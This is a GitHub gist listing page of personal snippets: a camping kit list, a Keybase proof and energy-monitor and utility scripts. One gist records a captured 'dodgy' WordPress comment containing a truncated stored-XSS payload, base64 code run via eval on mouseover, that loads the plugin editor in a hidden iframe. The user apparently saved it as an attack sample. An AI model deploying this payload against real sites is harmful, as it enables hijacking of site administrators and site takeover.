Skip to content

Instantly share code, notes, and snippets.

View mattfoster's full-sized avatar

Matt Foster mattfoster

View GitHub Profile
@mattfoster
mattfoster / kit.md
Last active August 29, 2015 14:21
Matt's Snowdonia Kit List: I reserve the right to add / remove stuff.

Snowdonia Weekend Kit

Shelter

  • Tarp
  • Pegs
  • Cord
  • Walking Poles
  • Ground Sheet
@mattfoster
mattfoster / comment
Created May 5, 2015 18:51
Dodgy WordPress Comment
Author: Rick (IP: 37.130.227.133, torland1-this.is.a.tor.exit.server.torland.is)
E-mail: [email protected]
URL:
Whois: http://whois.arin.net/rest/ip/37.130.227.133
Comment:
[<a title="]" rel="nofollow"></a>[" <!-- style=position:fixed;top:0;left:0;padding:0;margin:0;width:1000%;height:1000%;cursor:default;z-index:100;display:block;color:transparent;font-size:0 onmouseover="eval(atob('dmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpOw0KdmFyIGk7DQpmb3IgKGkgPSAwOyBpIDwgeC5sZW5ndGg7IGkrKykgew0KICAgIGlmKHhbaV0uc3R5bGUud2lkdGggPT0gIjYwMDBweCIpe3hbaV0uc3R5bGUuZGlzcGxheT0ibm9uZSI7fQ0KfQ0KDQp2YXIgZWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKTsNCmVsLmlkID0gJ2lmcmFtZTIyJzsNCmVsLnN0eWxlLmRpc3BsYXkgPSAiZml4ZWQiOw0KZWwuc3R5bGUudG9wPScxcHgnOw0KZWwuc3R5bGUubGVmdD0nMXB4JzsNCmVsLnN0eWxlLndpZHRoID0gIjFweCI7DQplbC5zdHlsZS5oZWlnaHQgPSAiMXB4IjsNCmVsLnNyYyA9ICJwbHVnaW4tZWRpdG9yLnBocD9maWxlPWluZGV4LnBocCZwbHVnaW49aW5kZXgucGhwIjsNCmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWwpOw0KZWwub25sb2FkID0gaHV5Ow0KDQpmdW5jdGlvbiBnZXRJZnJ
#! /usr/bin/env ruby
# Set iTerm 2 tab colours.
#
# Author: Matt Foster <[email protected]>
require 'color/css'
colour = ARGV.shift
if colour.nil?
@mattfoster
mattfoster / keybase.md
Created August 27, 2014 10:45
keybase verification

Keybase proof

I hereby claim:

  • I am mattfoster on github.
  • I am mpf (https://keybase.io/mpf) on keybase.
  • I have a public key whose fingerprint is 33D8 FD91 0B0E 4C06 A611 EEF9 CE25 7045 CFEC 91DF

To claim this, I am signing this object:

@mattfoster
mattfoster / random_client_name.pl
Created July 17, 2014 09:49
A quick script to generate random client names
#! /usr/bin/env perl
# Generate random client names
use warnings;
use strict;
use Carp qw( croak );
use Readonly;
Readonly my @COMPANY_TYPES => qw( Ltd PLC B.V. S.p.a. LLC LLP Incorporated );
@mattfoster
mattfoster / lcd_icon.pl
Created July 7, 2012 20:38
A simple script to convert (16x16) PNGs for display on small LCDs
#! /usr/bin/env perl
# Convert PNG file to hex array, for use in the Adafruit Arduino LCD library
use warnings;
use strict;
use Getopt::Long;
use Imager;
use List::MoreUtils qw(natatime);
use Pod::Usage;
; CurrentCost Analogue Dev Board Firmware
; PIC16F689 Configuration Bit Settings
CONFIG FOSC = INTRCIO ; Oscillator Selection bits (INTOSCIO oscillator: I/O function on RA4/OSC2/CLKOUT pin, I/O function on RA5/OSC1/CLKIN)
CONFIG WDTE = OFF ; Watchdog Timer Enable bit (WDT disabled and can be enabled by SWDTEN bit of the WDTCON register)
CONFIG PWRTE = ON ; Power-up Timer Enable bit (PWRT enabled)
CONFIG MCLRE = ON ; MCLR Pin Function Select bit (MCLR pin function is MCLR)
CONFIG CP = OFF ; Code Protection bit (Program memory code protection is disabled)
CONFIG CPD = OFF ; Data Code Protection bit (Data memory code protection is disabled)
CONFIG BOREN = OFF ; Brown-out Reset Selection bits (BOR disabled)
@mattfoster
mattfoster / current_cost.rb
Created February 27, 2012 16:07
CurrentCost Collectd Script
#! /usr/bin/env ruby
require 'rubygems'
require 'daemons'
require 'collectd'
require 'rexml/document'
require 'serialport'
# Names and values to output
$data = {
# conky configuration
# edited by [email protected]
# edited by [email protected]
# set to yes if you want Conky to be forked in the background
background yes
# X font when Xft is disabled, you can pick one with program xfontsel
#font 5x7
#font 6x10
#! /usr/bin/env ruby
# Read current cost info. Output in a form suitble for cacti.
# On ubuntu, place in the following sudoers to allow running from cacti:
# www-data ALL=NOPASSWD: /usr/share/cacti/site/scripts/currentcost.rb
# To create device specific names, create:
# /etc/udev/rules.d/70-persistent-currentcost.rules containing:
# KERNEL=="ttyUSB*", SUBSYSTEM=="tty", ATTRS{manufacturer}=="Prolific Technology Inc.", SYMLINK+="currentcost%n"